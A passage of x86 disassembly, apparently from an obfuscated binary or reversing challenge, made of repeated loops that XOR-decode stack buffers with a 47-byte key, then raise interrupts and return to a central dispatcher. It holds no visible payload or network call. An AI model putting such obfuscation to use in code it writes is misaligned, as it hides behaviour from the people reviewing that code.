711: be 2f 00 00 00 mov esi, 0x2f
716: 89 c8 mov eax, ecx
718: 99 cdq
719: f7 fe idiv esi
71b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
720: 30 44 0c f3 xor BYTE PTR [esp+ecx*1-0xd], al
724: 83 c1 01 add ecx, 0x1
727: 83 f9 5b cmp ecx, 0x5b
72a: 75 ea jne 0x716
72c: cd 49 int 0x49
72e: be 29 00 00 00 mov esi, 0x29
733: e9 b5 fc ff ff jmp 0x3ed
738: 8d 4c 24 0f lea ecx, [esp+0xf]
73c: be 11 00 00 00 mov esi, 0x11
741: bf 2f 00 00 00 mov edi, 0x2f
746: 89 f0 mov eax, esi
748: 99 cdq
749: f7 ff idiv edi
74b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
750: 30 04 31 xor BYTE PTR [ecx+esi*1], al
753: 83 c6 01 add esi, 0x1
756: 83 fe 23 cmp esi, 0x23
759: 75 eb jne 0x746
75b: cd 01 int 0x1
75d: be 30 00 00 00 mov esi, 0x30
762: e9 86 fc ff ff jmp 0x3ed
767: 8d 74 24 03 lea esi, [esp+0x3]
76b: b9 1d 00 00 00 mov ecx, 0x1d
770: bf 2f 00 00 00 mov edi, 0x2f
775: 89 c8 mov eax, ecx
777: 99 cdq
778: f7 ff idiv edi
77a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
77f: 30 04 0e xor BYTE PTR [esi+ecx*1], al
782: 83 c1 01 add ecx, 0x1
785: 83 f9 3b cmp ecx, 0x3b
788: 75 eb jne 0x775
78a: cd 48 int 0x48
78c: be 14 00 00 00 mov esi, 0x14
791: e9 57 fc ff ff jmp 0x3ed
796: 8d 4c 24 08 lea ecx, [esp+0x8]
79a: bf 2f 00 00 00 mov edi, 0x2f
79f: 89 f0 mov eax, esi
7a1: 99 cdq
7a2: f7 ff idiv edi
7a4: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
7a9: 30 04 31 xor BYTE PTR [ecx+esi*1], al
7ac: 83 c6 01 add esi, 0x1
7af: 83 fe 31 cmp esi, 0x31
7b2: 75 eb jne 0x79f
7b4: cd 58 int 0x58
7b6: be 4e 00 00 00 mov esi, 0x4e
7bb: e9 2d fc ff ff jmp 0x3ed
7c0: 8d 74 24 03 lea esi, [esp+0x3]
7c4: b9 1d 00 00 00 mov ecx, 0x1d
7c9: bf 2f 00 00 00 mov edi, 0x2f
7ce: 89 c8 mov eax, ecx
7d0: 99 cdq
7d1: f7 ff idiv edi
7d3: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
7d8: 30 04 0e xor BYTE PTR [esi+ecx*1], al
7db: 83 c1 01 add ecx, 0x1
7de: 83 f9 3b cmp ecx, 0x3b
7e1: 75 eb jne 0x7ce
7e3: cd 31 int 0x31
7e5: be 4b 00 00 00 mov esi, 0x4b
7ea: e9 fe fb ff ff jmp 0x3ed
7ef: b9 2e 00 00 00 mov ecx, 0x2e
7f4: be 2f 00 00 00 mov esi, 0x2f
7f9: 89 c8 mov eax, ecx
7fb: 99 cdq
7fc: f7 fe idiv esi
7fe: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
803: 30 44 0c f2 xor BYTE PTR [esp+ecx*1-0xe], al
807: 83 c1 01 add ecx, 0x1
80a: 83 f9 5d cmp ecx, 0x5d
80d: 75 ea jne 0x7f9
80f: cd 3c int 0x3c
811: be 52 00 00 00 mov esi, 0x52
816: e9 d2 fb ff ff jmp 0x3ed
81b: b9 03 00 00 00 mov ecx, 0x3
820: be 2f 00 00 00 mov esi, 0x2f
825: 89 c8 mov eax, ecx
827: 99 cdq
828: f7 fe idiv esi
82a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
82f: 30 44 0c 1d xor BYTE PTR [esp+ecx*1+0x1d], al
833: 83 c1 01 add ecx, 0x1
836: 83 f9 07 cmp ecx, 0x7
839: 75 ea jne 0x825
83b: cd 1c int 0x1c
83d: be 4d 00 00 00 mov esi, 0x4d
842: e9 a6 fb ff ff jmp 0x3ed
847: 8d 4c 24 f7 lea ecx, [esp-0x9]
84b: be 29 00 00 00 mov esi, 0x29
850: bf 2f 00 00 00 mov edi, 0x2f
855: 89 f0 mov eax, esi
857: 99 cdq
858: f7 ff idiv edi
85a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
85f: 30 04 31 xor BYTE PTR [ecx+esi*1], al
862: 83 c6 01 add esi, 0x1
865: 83 fe 53 cmp esi, 0x53
868: 75 eb jne 0x855
86a: cd 06 int 0x6
86c: be 2a 00 00 00 mov esi, 0x2a
871: e9 77 fb ff ff jmp 0x3ed
876: 8d 74 24 17 lea esi, [esp+0x17]
87a: b9 09 00 00 00 mov ecx, 0x9
87f: bf 2f 00 00 00 mov edi, 0x2f
884: 89 c8 mov eax, ecx
886: 99 cdq
887: f7 ff idiv edi
889: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
88e: 30 04 0e xor BYTE PTR [esi+ecx*1], al
891: 83 c1 01 add ecx, 0x1
894: 83 f9 13 cmp ecx, 0x13
897: 75 eb jne 0x884
899: cd 35 int 0x35
89b: be 4a 00 00 00 mov esi, 0x4a
8a0: e9 48 fb ff ff jmp 0x3ed
8a5: 8d 74 24 fc lea esi, [esp-0x4]
8a9: b9 24 00 00 00 mov ecx, 0x24
8ae: bf 2f 00 00 00 mov edi, 0x2f
8b3: 89 c8 mov eax, ecx
8b5: 99 cdq
8b6: f7 ff idiv edi
8b8: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
8bd: 30 04 0e xor BYTE PTR [esi+ecx*1], al
8c0: 83 c1 01 add ecx, 0x1
8c3: 83 f9 49 cmp ecx, 0x49
8c6: 75 eb jne 0x8b3
8c8: cd 54 int 0x54
8ca: be 38 00 00 00 mov esi, 0x38
8cf: e9 19 fb ff ff jmp 0x3ed
8d4: 8d 4c 24 18 lea ecx, [esp+0x18]
8d8: be 08 00 00 00 mov esi, 0x8
8dd: bf 2f 00 00 00 mov edi, 0x2f
8e2: 89 f0 mov eax, esi
8e4: 99 cdq
8e5: f7 ff idiv edi
8e7: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
8ec: 30 04 31 xor BYTE PTR [ecx+esi*1], al
8ef: 83 c6 01 add esi, 0x1
8f2: 83 fe 11 cmp esi, 0x11
8f5: 75 eb jne 0x8e2
8f7: cd 2f int 0x2f
8f9: be 0f 00 00 00 mov esi, 0xf
8fe: e9 ea fa ff ff jmp 0x3ed
903: 8d 74 24 fc lea esi, [esp-0x4]
907: b9 24 00 00 00 mov ecx, 0x24
90c: bf 2f 00 00 00 mov edi, 0x2f
911: 89 c8 mov eax, ecx
913: 99 cdq
914: f7 ff idiv edi
916: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
91b: 30 04 0e xor BYTE PTR [esi+ecx*1], al
91e: 83 c1 01 add ecx, 0x1
921: 83 f9 49 cmp ecx, 0x49
924: 75 eb jne 0x911
926: cd 43 int 0x43
928: be 43 00 00 00 mov esi, 0x43
92d: e9 bb fa ff ff jmp 0x3ed
932: 8d 4c 24 12 lea ecx, [esp+0x12]
936: be 0e 00 00 00 mov esi, 0xe
93b: bf 2f 00 00 00 mov edi, 0x2f
940: 89 f0 mov eax, esi
942: 99 cdq
943: f7 ff idiv edi
945: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
94a: 30 04 31 xor BYTE PTR [ecx+esi*1], al
94d: 83 c6 01 add esi, 0x1
950: 83 fe 1d cmp esi, 0x1d
953: 75 eb jne 0x940
955: cd 0a int 0xa
957: be 57 00 00 00 mov esi, 0x57
95c: e9 8c fa ff ff jmp 0x3ed
961: 8d 4c 24 1e lea ecx, [esp+0x1e]
965: be 02 00 00 00 mov esi, 0x2
96a: bf 2f 00 00 00 mov edi, 0x2f
96f: 89 f0 mov eax, esi
971: 99 cdq
972: f7 ff idiv edi
974: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
979: 30 04 31 xor BYTE PTR [ecx+esi*1], al
97c: 83 c6 01 add esi, 0x1
97f: 83 fe 05 cmp esi, 0x5
982: 75 eb jne 0x96f
984: cd 04 int 0x4
986: be 28 00 00 00 mov esi, 0x28
98b: e9 5d fa ff ff jmp 0x3ed
990: 8d 74 24 1c lea esi, [esp+0x1c]
994: b9 04 00 00 00 mov ecx, 0x4
999: bf 2f 00 00 00 mov edi, 0x2f
99e: 89 c8 mov eax, ecx
9a0: 99 cdq
9a1: f7 ff idiv edi
9a3: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
9a8: 30 04 0e xor BYTE PTR [esi+ecx*1], al
9ab: 83 c1 01 add ecx, 0x1
9ae: 83 f9 09 cmp ecx, 0x9
9b1: 75 eb jne 0x99e
9b3: cd 52 int 0x52
9b5: be 44 00 00 00 mov esi, 0x44
9ba: e9 2e fa ff ff jmp 0x3ed
9bf: 8d 4c 24 18 lea ecx, [esp+0x18]
9c3: be 08 00 00 00 mov esi, 0x8
9c8: bf 2f 00 00 00 mov edi, 0x2f
9cd: 89 f0 mov eax, esi
9cf: 99 cdq
9d0: f7 ff idiv edi
9d2: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
9d7: 30 04 31 xor BYTE PTR [ecx+esi*1], al
9da: 83 c6 01 add esi, 0x1
9dd: 83 fe 11 cmp esi, 0x11
9e0: 75 eb jne 0x9cd
9e2: cd 4b int 0x4b
9e4: be 10 00 00 00 mov esi, 0x10
9e9: e9 ff f9 ff ff jmp 0x3ed
9ee: 8d 4c 24 13 lea ecx, [esp+0x13]
9f2: be 0d 00 00 00 mov esi, 0xd
9f7: bf 2f 00 00 00 mov edi, 0x2f
9fc: 89 f0 mov eax, esi
9fe: 99 cdq
9ff: f7 ff idiv edi
a01: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
a06: 30 04 31 xor BYTE PTR [ecx+esi*1], al
a09: 83 c6 01 add esi, 0x1
a0c: 83 fe 1b cmp esi, 0x1b
a0f: 75 eb jne 0x9fc
a11: cd 56 int 0x56
a13: be 51 00 00 00 mov esi, 0x51
a18: e9 d0 f9 ff ff jmp 0x3ed
a1d: 8d 4c 24 1e lea ecx, [esp+0x1e]
a21: be 02 00 00 00 mov esi, 0x2
a26: bf 2f 00 00 00 mov edi, 0x2f
a2b: 89 f0 mov eax, esi
a2d: 99 cdq
a2e: f7 ff idiv edi
a30: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
a35: 30 04 31 xor BYTE PTR [ecx+esi*1], al
a38: 83 c6 01 add esi, 0x1
a3b: 83 fe 05 cmp esi, 0x5
a3e: 75 eb jne 0xa2b
a40: cd 5e int 0x5e
a42: be 2f 00 00 00 mov esi, 0x2f
a47: e9 a1 f9 ff ff jmp 0x3ed
a4c: 8d 4c 24 0a lea ecx, [esp+0xa]
a50: be 16 00 00 00 mov esi, 0x16
a55: bf 2f 00 00 00 mov edi, 0x2f
a5a: 89 f0 mov eax, esi
a5c: 99 cdq
a5d: f7 ff idiv edi
a5f: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
a64: 30 04 31 xor BYTE PTR [ecx+esi*1], al
a67: 83 c6 01 add esi, 0x1
a6a: 83 fe 2d cmp esi, 0x2d
a6d: 75 eb jne 0xa5a
a6f: cd 5a int 0x5a
a71: be 5a 00 00 00 mov esi, 0x5a
a76: e9 72 f9 ff ff jmp 0x3ed
a7b: 8d 4c 24 08 lea ecx, [esp+0x8]
a7f: be 18 00 00 00 mov esi, 0x18
a84: bf 2f 00 00 00 mov edi, 0x2f
a89: 89 f0 mov eax, esi
a8b: 99 cdq
a8c: f7 ff idiv edi
a8e: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
a93: 30 04 31 xor BYTE PTR [ecx+esi*1], al
a96: 83 c6 01 add esi, 0x1
a99: 83 fe 31 cmp esi, 0x31
a9c: 75 eb jne 0xa89
a9e: cd 37 int 0x37
aa0: be 18 00 00 00 mov esi, 0x18
aa5: e9 43 f9 ff ff jmp 0x3ed
aaa: b9 27 00 00 00 mov ecx, 0x27
aaf: be 2f 00 00 00 mov esi, 0x2f
ab4: 89 c8 mov eax, ecx
ab6: 99 cdq
ab7: f7 fe idiv esi
ab9: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
abe: 30 44 0c f9 xor BYTE PTR [esp+ecx*1-0x7], al
ac2: 83 c1 01 add ecx, 0x1
ac5: 83 f9 4f cmp ecx, 0x4f
ac8: 75 ea jne 0xab4
aca: cd 25 int 0x25
acc: be 3c 00 00 00 mov esi, 0x3c
ad1: e9 17 f9 ff ff jmp 0x3ed
ad6: 8d 4c 24 f7 lea ecx, [esp-0x9]
ada: be 29 00 00 00 mov esi, 0x29
adf: bf 2f 00 00 00 mov edi, 0x2f
ae4: 89 f0 mov eax, esi
ae6: 99 cdq
ae7: f7 ff idiv edi
ae9: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
aee: 30 04 31 xor BYTE PTR [ecx+esi*1], al
af1: 83 c6 01 add esi, 0x1
af4: 83 fe 53 cmp esi, 0x53
af7: 75 eb jne 0xae4
af9: cd 57 int 0x57
afb: be 02 00 00 00 mov esi, 0x2
b00: e9 e8 f8 ff ff jmp 0x3ed
b05: b9 21 00 00 00 mov ecx, 0x21
b0a: be 2f 00 00 00 mov esi, 0x2f
b0f: 89 c8 mov eax, ecx
b11: 99 cdq
b12: f7 fe idiv esi
b14: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
b19: 30 44 0c ff xor BYTE PTR [esp+ecx*1-0x1], al
b1d: 83 c1 01 add ecx, 0x1
b20: 83 f9 43 cmp ecx, 0x43
b23: 75 ea jne 0xb0f
b25: cd 53 int 0x53
b27: be 59 00 00 00 mov esi, 0x59
b2c: e9 bc f8 ff ff jmp 0x3ed
b31: 8d 74 24 fc lea esi, [esp-0x4]
b35: b9 24 00 00 00 mov ecx, 0x24
b3a: bf 2f 00 00 00 mov edi, 0x2f
b3f: 89 c8 mov eax, ecx
b41: 99 cdq
b42: f7 ff idiv edi
b44: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
b49: 30 04 0e xor BYTE PTR [esi+ecx*1], al
b4c: 83 c1 01 add ecx, 0x1
b4f: 83 f9 49 cmp ecx, 0x49
b52: 75 eb jne 0xb3f
b54: cd 46 int 0x46
b56: be 24 00 00 00 mov esi, 0x24
b5b: e9 8d f8 ff ff jmp 0x3ed
b60: 8d 4c 24 0a lea ecx, [esp+0xa]
b64: be 16 00 00 00 mov esi, 0x16
b69: bf 2f 00 00 00 mov edi, 0x2f
b6e: 89 f0 mov eax, esi
b70: 99 cdq
b71: f7 ff idiv edi
b73: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
b78: 30 04 31 xor BYTE PTR [ecx+esi*1], al
b7b: 83 c6 01 add esi, 0x1
b7e: 83 fe 2d cmp esi, 0x2d
b81: 75 eb jne 0xb6e
b83: cd 30 int 0x30
b85: be 40 00 00 00 mov esi, 0x40
b8a: e9 5e f8 ff ff jmp 0x3ed
b8f: 8d 74 24 14 lea esi, [esp+0x14]
b93: b9 0c 00 00 00 mov ecx, 0xc
b98: bf 2f 00 00 00 mov edi, 0x2f
b9d: 89 c8 mov eax, ecx
b9f: 99 cdq
ba0: f7 ff idiv edi
ba2: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
ba7: 30 04 0e xor BYTE PTR [esi+ecx*1], al
baa: 83 c1 01 add ecx, 0x1
bad: 83 f9 19 cmp ecx, 0x19
bb0: 75 eb jne 0xb9d
bb2: cd 62 int 0x62
bb4: be 41 00 00 00 mov esi, 0x41
bb9: e9 2f f8 ff ff jmp 0x3ed
bbe: 8d 74 24 fc lea esi, [esp-0x4]
bc2: b9 24 00 00 00 mov ecx, 0x24
bc7: bf 2f 00 00 00 mov edi, 0x2f
bcc: 89 c8 mov eax, ecx
bce: 99 cdq
bcf: f7 ff idiv edi
bd1: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
bd6: 30 04 0e xor BYTE PTR [esi+ecx*1], al
bd9: 83 c1 01 add ecx, 0x1
bdc: 83 f9 49 cmp ecx, 0x49
bdf: 75 eb jne 0xbcc
be1: cd 63 int 0x63
be3: be 12 00 00 00 mov esi, 0x12
be8: e9 00 f8 ff ff jmp 0x3ed
bed: b9 22 00 00 00 mov ecx, 0x22
bf2: be 2f 00 00 00 mov esi, 0x2f
bf7: 89 c8 mov eax, ecx
bf9: 99 cdq
bfa: f7 fe idiv esi
bfc: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
c01: 30 44 0c fe xor BYTE PTR [esp+ecx*1-0x2], al
c05: 83 c1 01 add ecx, 0x1
c08: 83 f9 45 cmp ecx, 0x45
c0b: 75 ea jne 0xbf7
c0d: cd 45 int 0x45
c0f: be 2c 00 00 00 mov esi, 0x2c
c14: e9 d4 f7 ff ff jmp 0x3ed
c19: 8d 74 24 0d lea esi, [esp+0xd]
c1d: b9 13 00 00 00 mov ecx, 0x13
c22: bf 2f 00 00 00 mov edi, 0x2f
c27: 89 c8 mov eax, ecx
c29: 99 cdq
c2a: f7 ff idiv edi
c2c: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
c31: 30 04 0e xor BYTE PTR [esi+ecx*1], al
c34: 83 c1 01 add ecx, 0x1
c37: 83 f9 27 cmp ecx, 0x27
c3a: 75 eb jne 0xc27
c3c: cd 09 int 0x9
c3e: be 63 00 00 00 mov esi, 0x63
c43: e9 a5 f7 ff ff jmp 0x3ed
c48: b9 0a 00 00 00 mov ecx, 0xa
c4d: be 2f 00 00 00 mov esi, 0x2f
c52: 89 c8 mov eax, ecx
c54: 99 cdq
c55: f7 fe idiv esi
c57: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
c5c: 30 44 0c 16 xor BYTE PTR [esp+ecx*1+0x16], al
c60: 83 c1 01 add ecx, 0x1
c63: 83 f9 15 cmp ecx, 0x15
c66: 75 ea jne 0xc52
c68: cd 26 int 0x26
c6a: be 53 00 00 00 mov esi, 0x53
c6f: e9 79 f7 ff ff jmp 0x3ed
c74: 8d 74 24 f5 lea esi, [esp-0xb]
c78: b9 2b 00 00 00 mov ecx, 0x2b
c7d: bf 2f 00 00 00 mov edi, 0x2f
c82: 89 c8 mov eax, ecx
c84: 99 cdq
c85: f7 ff idiv edi
c87: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
c8c: 30 04 0e xor BYTE PTR [esi+ecx*1], al
c8f: 83 c1 01 add ecx, 0x1
c92: 83 f9 57 cmp ecx, 0x57
c95: 75 eb jne 0xc82
c97: cd 33 int 0x33
c99: be 20 00 00 00 mov esi, 0x20
c9e: e9 4a f7 ff ff jmp 0x3ed
ca3: 8d 4c 24 18 lea ecx, [esp+0x18]
ca7: be 08 00 00 00 mov esi, 0x8
cac: bf 2f 00 00 00 mov edi, 0x2f
cb1: 89 f0 mov eax, esi
cb3: 99 cdq
cb4: f7 ff idiv edi
cb6: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
cbb: 30 04 31 xor BYTE PTR [ecx+esi*1], al
cbe: 83 c6 01 add esi, 0x1
cc1: 83 fe 11 cmp esi, 0x11
cc4: 75 eb jne 0xcb1
cc6: cd 5c int 0x5c
cc8: be 54 00 00 00 mov esi, 0x54
ccd: e9 1b f7 ff ff jmp 0x3ed
cd2: 8d 4c 24 f8 lea ecx, [esp-0x8]
cd6: be 28 00 00 00 mov esi, 0x28
cdb: bf 2f 00 00 00 mov edi, 0x2f
ce0: 89 f0 mov eax, esi
ce2: 99 cdq
ce3: f7 ff idiv edi
ce5: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
cea: 30 04 31 xor BYTE PTR [ecx+esi*1], al
ced: 83 c6 01 add esi, 0x1
cf0: 83 fe 51 cmp esi, 0x51
cf3: 75 eb jne 0xce0
cf5: cd 17 int 0x17
cf7: be 05 00 00 00 mov esi, 0x5
cfc: e9 ec f6 ff ff jmp 0x3ed
d01: b9 05 00 00 00 mov ecx, 0x5
d06: be 2f 00 00 00 mov esi, 0x2f
d0b: 89 c8 mov eax, ecx
d0d: 99 cdq
d0e: f7 fe idiv esi
d10: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
d15: 30 44 0c 1b xor BYTE PTR [esp+ecx*1+0x1b], al
d19: 83 c1 01 add ecx, 0x1
d1c: 83 f9 0b cmp ecx, 0xb
d1f: 75 ea jne 0xd0b
d21: cd 1a int 0x1a
d23: be 0c 00 00 00 mov esi, 0xc
d28: e9 c0 f6 ff ff jmp 0x3ed
d2d: 8d 4c 24 0f lea ecx, [esp+0xf]
d31: bf 2f 00 00 00 mov edi, 0x2f
d36: 89 f0 mov eax, esi
d38: 99 cdq
d39: f7 ff idiv edi
d3b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
d40: 30 04 31 xor BYTE PTR [ecx+esi*1], al
d43: 83 c6 01 add esi, 0x1
d46: 83 fe 23 cmp esi, 0x23
d49: 75 eb jne 0xd36
d4b: cd 07 int 0x7
d4d: be 0b 00 00 00 mov esi, 0xb
d52: e9 96 f6 ff ff jmp 0x3ed
d57: 8d 74 24 f6 lea esi, [esp-0xa]
d5b: b9 2a 00 00 00 mov ecx, 0x2a
d60: bf 2f 00 00 00 mov edi, 0x2f
d65: 89 c8 mov eax, ecx
d67: 99 cdq
d68: f7 ff idiv edi
d6a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
d6f: 30 04 0e xor BYTE PTR [esi+ecx*1], al
d72: 83 c1 01 add ecx, 0x1
d75: 83 f9 55 cmp ecx, 0x55
d78: 75 eb jne 0xd65
d7a: cd 39 int 0x39
d7c: be 46 00 00 00 mov esi, 0x46
d81: e9 67 f6 ff ff jmp 0x3ed
d86: 8d 4c 24 f8 lea ecx, [esp-0x8]
d8a: be 28 00 00 00 mov esi, 0x28
d8f: bf 2f 00 00 00 mov edi, 0x2f
d94: 89 f0 mov eax, esi
d96: 99 cdq
d97: f7 ff idiv edi
d99: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
d9e: 30 04 31 xor BYTE PTR [ecx+esi*1], al
da1: 83 c6 01 add esi, 0x1
da4: 83 fe 51 cmp esi, 0x51
da7: 75 eb jne 0xd94
da9: cd 05 int 0x5
dab: be 4c 00 00 00 mov esi, 0x4c
db0: e9 38 f6 ff ff jmp 0x3ed
db5: 8d 74 24 06 lea esi, [esp+0x6]
db9: b9 1a 00 00 00 mov ecx, 0x1a
dbe: bf 2f 00 00 00 mov edi, 0x2f
dc3: 89 c8 mov eax, ecx
dc5: 99 cdq
dc6: f7 ff idiv edi
dc8: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
dcd: 30 04 0e xor BYTE PTR [esi+ecx*1], al
dd0: 83 c1 01 add ecx, 0x1
dd3: 83 f9 35 cmp ecx, 0x35
dd6: 75 eb jne 0xdc3
dd8: cd 18 int 0x18
dda: be 5b 00 00 00 mov esi, 0x5b
ddf: e9 09 f6 ff ff jmp 0x3ed
de4: 8d 4c 24 0b lea ecx, [esp+0xb]
de8: be 15 00 00 00 mov esi, 0x15
ded: bf 2f 00 00 00 mov edi, 0x2f
df2: 89 f0 mov eax, esi
df4: 99 cdq
df5: f7 ff idiv edi
df7: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
dfc: 30 04 31 xor BYTE PTR [ecx+esi*1], al
dff: 83 c6 01 add esi, 0x1
e02: 83 fe 2b cmp esi, 0x2b
e05: 75 eb jne 0xdf2
e07: cd 4d int 0x4d
e09: be 0a 00 00 00 mov esi, 0xa
e0e: e9 da f5 ff ff jmp 0x3ed
e13: 8d 4c 24 13 lea ecx, [esp+0x13]
e17: c7 44 24 1c 0d 00 00 00 mov DWORD PTR [esp+0x1c], 0xd
e1f: 8b 44 24 1c mov eax, DWORD PTR [esp+0x1c]
e23: bf 2f 00 00 00 mov edi, 0x2f
e28: 99 cdq
e29: f7 ff idiv edi
e2b: 8b 7c 24 1c mov edi, DWORD PTR [esp+0x1c]
e2f: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
e34: 30 04 39 xor BYTE PTR [ecx+edi*1], al
e37: 89 f8 mov eax, edi
e39: 83 c0 01 add eax, 0x1
e3c: 83 f8 1b cmp eax, 0x1b
e3f: 89 44 24 1c mov DWORD PTR [esp+0x1c], eax
e43: 75 da jne 0xe1f
e45: cd 14 int 0x14
e47: e9 a1 f5 ff ff jmp 0x3ed
e4c: 8d 4c 24 08 lea ecx, [esp+0x8]
e50: be 18 00 00 00 mov esi, 0x18
e55: bf 2f 00 00 00 mov edi, 0x2f
e5a: 89 f0 mov eax, esi
e5c: 99 cdq
e5d: f7 ff idiv edi
e5f: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
e64: 30 04 31 xor BYTE PTR [ecx+esi*1], al
e67: 83 c6 01 add esi, 0x1
e6a: 83 fe 31 cmp esi, 0x31
e6d: 75 eb jne 0xe5a
e6f: cd 3d int 0x3d
e71: be 07 00 00 00 mov esi, 0x7
e76: e9 72 f5 ff ff jmp 0x3ed
e7b: 8d 74 24 0c lea esi, [esp+0xc]
e7f: b9 14 00 00 00 mov ecx, 0x14
e84: bf 2f 00 00 00 mov edi, 0x2f
e89: 89 c8 mov eax, ecx
e8b: 99 cdq
e8c: f7 ff idiv edi
e8e: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
e93: 30 04 0e xor BYTE PTR [esi+ecx*1], al
e96: 83 c1 01 add ecx, 0x1
e99: 83 f9 29 cmp ecx, 0x29
e9c: 75 eb jne 0xe89
e9e: cd 19 int 0x19
ea0: be 36 00 00 00 mov esi, 0x36
ea5: e9 43 f5 ff ff jmp 0x3ed
eaa: 8d 74 24 fc lea esi, [esp-0x4]
eae: b9 24 00 00 00 mov ecx, 0x24
eb3: bf 2f 00 00 00 mov edi, 0x2f
eb8: 89 c8 mov eax, ecx
eba: 99 cdq
ebb: f7 ff idiv edi
ebd: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
ec2: 30 04 0e xor BYTE PTR [esi+ecx*1], al
ec5: 83 c1 01 add ecx, 0x1
ec8: 83 f9 49 cmp ecx, 0x49
ecb: 75 eb jne 0xeb8
ecd: cd 1f int 0x1f
ecf: be 0e 00 00 00 mov esi, 0xe
ed4: e9 14 f5 ff ff jmp 0x3ed
ed9: 8d 74 24 14 lea esi, [esp+0x14]
edd: b9 0c 00 00 00 mov ecx, 0xc
ee2: bf 2f 00 00 00 mov edi, 0x2f
ee7: 89 c8 mov eax, ecx
ee9: 99 cdq
eea: f7 ff idiv edi
eec: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
ef1: 30 04 0e xor BYTE PTR [esi+ecx*1], al
ef4: 83 c1 01 add ecx, 0x1
ef7: 83 f9 19 cmp ecx, 0x19
efa: 75 eb jne 0xee7
efc: cd 34 int 0x34
efe: be 01 00 00 00 mov esi, 0x1
f03: e9 e5 f4 ff ff jmp 0x3ed
f08: 8d 74 24 f6 lea esi, [esp-0xa]
f0c: b9 2a 00 00 00 mov ecx, 0x2a
f11: bf 2f 00 00 00 mov edi, 0x2f
f16: 89 c8 mov eax, ecx
f18: 99 cdq
f19: f7 ff idiv edi
f1b: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
f20: 30 04 0e xor BYTE PTR [esi+ecx*1], al
f23: 83 c1 01 add ecx, 0x1
f26: 83 f9 55 cmp ecx, 0x55
f29: 75 eb jne 0xf16
f2b: cd 2c int 0x2c
f2d: be 1a 00 00 00 mov esi, 0x1a
f32: e9 b6 f4 ff ff jmp 0x3ed
f37: 8d 74 24 0c lea esi, [esp+0xc]
f3b: b9 14 00 00 00 mov ecx, 0x14
f40: bf 2f 00 00 00 mov edi, 0x2f
f45: 89 c8 mov eax, ecx
f47: 99 cdq
f48: f7 ff idiv edi
f4a: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
f4f: 30 04 0e xor BYTE PTR [esi+ecx*1], al
f52: 83 c1 01 add ecx, 0x1
f55: 83 f9 29 cmp ecx, 0x29
f58: 75 eb jne 0xf45
f5a: cd 0f int 0xf
f5c: be 04 00 00 00 mov esi, 0x4
f61: e9 87 f4 ff ff jmp 0x3ed
f66: b9 23 00 00 00 mov ecx, 0x23
f6b: be 2f 00 00 00 mov esi, 0x2f
f70: 89 c8 mov eax, ecx
f72: 99 cdq
f73: f7 fe idiv esi
f75: 0f b6 44 14 20 movzx eax, BYTE PTR [esp+edx*1+0x20]
f7a: 30 44 0c fd xor BYTE PTR [esp+ecx*1-0x3], al
f7e: 83 c1 01 add ecx, 0x1
f81: 83 f9 47 cmp ecx, 0x47
f84: 75 ea jne 0xf70
f86: cd 28 int 0x28
f88: be 49 00 00 00 mov esi, 0x49
f8d: e9 5b f4 ff ff jmp 0x3ed
f92: 8d 74 24 f4 lea esi, [esp-0xc]
f96: b9 2c 00 00 00 mov ecx, 0x2c
f9b: bf 2f 00 00 00 mov edi, 0x2f
fa0: 89 c8 mov eax, ecx
fa2: 99 cdq
